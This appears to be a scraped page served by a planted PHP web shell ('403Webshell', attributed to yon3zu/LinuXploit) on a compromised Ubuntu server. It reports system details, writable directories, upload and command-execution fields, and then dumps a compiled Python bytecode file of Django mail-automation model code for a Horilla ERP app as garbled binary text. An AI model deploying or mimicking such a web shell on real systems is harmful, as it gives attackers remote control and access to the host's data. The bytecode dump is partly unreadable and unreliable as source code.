403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/horilla_automations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/horilla_automations/__pycache__/models.cpython-310.pyc
o

hͦh��	@s�ddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZddlmZgZd	ed
�fded�fd
ed�fded�fded�fded�fded�fgZGdd�de�ZdS)�)�models)�reverse)�gettext_lazy)�
eval_validate)�HorillaMailTemplate)�Employee)�HorillaModel��render_template�equalz
Equal (==)�notequalzNot Equal (!=)�ltz
Less Than (<)�gtzGreater Than (>)�lezLess Than or Equal To (<=)�gezGreater Than or Equal To (>=)�	icontains�Containscs4eZdZdZgd�Zejddd�Zejddd�Zejd	e	dd
�Z
ejdd�Zejd
e
d�d�Zejddd�Zejded�Zejeejd�Zejede
d�d�Zejeddd�Zejddd�Zejddd�Ze��Z�fdd�Zdefdd�Zdd �Zd!d"�Z d#d$�Z!d%d&�Z"d'd(�Z#d)d*�Z$d+d,�Z%d-d.�Z&�Z'S)/�MailAutomationz
    MailAutoMation
    ))�	on_createz	On Create)�	on_updatez	On Update)�	on_deletez	On Delete�T)�
max_length�unique�2F)r�editable�d)r�choices�nullzMail to)�verbose_name�zcFill mail template details(reciever/instance, `self` will be the person who trigger the automation))r�	help_text�)�defaultr�
)rr)rzAlso Send to)�blankr�template_attachment)�related_namer%)rrcs,|js
|j�dd���|_t�j|i|��S)N� �_)�pk�title�replace�lower�method_title�super�save)�self�args�kwargs��	__class__��*/var/www/erp/horilla_automations/models.pyr0@szMailAutomation.save�returncCs|jS)N�r+�r1r6r6r7�__str__EszMailAutomation.__str__cCsd|j�d�}|S)zV
        Method will retun the api to the avatar or path to the profile image
        z!https://ui-avatars.com/api/?name=z&background=randomr9)r1�urlr6r6r7�
get_avatarHszMailAutomation.get_avatarcCs�t|j�}g}|D].}|�d�}d}|D]}|�dd��dd�}|��}||�d�}q|dd�}|�|�q	td	||d
��S)zS
        method that returns the display value for `mail_to`
        field
        �__r"�_idr)r(z >N���z horilla_automations/mail_to.html)�instance�mappings)r�mail_to�splitr,�
capitalize�appendr
)r1rCrB�mapping�displayrDr6r6r7�get_mail_to_displayPs


�z"MailAutomation.get_mail_to_displaycCs|j��}tdd|i�S)Nz horilla_automations/mail_cc.html�	employees)�also_sent_to�allr
)r1rJr6r6r7�get_mail_cc_displayds
�z"MailAutomation.get_mail_cc_displaycC�tdd|jid�S)Nzautomation-detailed-viewr*�r3�rr*r:r6r6r7�detailed_urlj�zMailAutomation.detailed_urlcCstdd|i�S)Nz#horilla_automations/conditions.htmlrAr	r:r6r6r7�
conditionsms�zMailAutomation.conditionscCrN)Nzdelete-automationr*rOrPr:r6r6r7�
delete_urlrrRzMailAutomation.delete_urlcCrN)z
        Edit url
        zupdate-automationr*rOrPr:r6r6r7�edit_urluszMailAutomation.edit_urlcCs|��S)r")�get_trigger_displayr:r6r6r7�trigger_display{szMailAutomation.trigger_display)(�__name__�
__module__�__qualname__�__doc__rr�	CharFieldr+r.�
MODEL_CHOICES�model�	TextFieldrC�_trans�mail_details�mail_detail_choice�trigger�
ForeignKeyr�CASCADE�
mail_template�ManyToManyFieldrrK�template_attachments�condition_html�condition_querystring�	conditionr0�strr;r=rIrMrQrSrTrUrW�
__classcell__r6r6r4r7rsN����rN)�	django.dbr�django.urlsr�django.utils.translationrr`�base.methodsr�base.modelsr�employee.modelsr�horilla.modelsr�horilla_views.cbv_methodsr
r]�
CONDITIONSrr6r6r6r7�<module>s$






�

Youez - 2016 - github.com/yon3zu
LinuXploit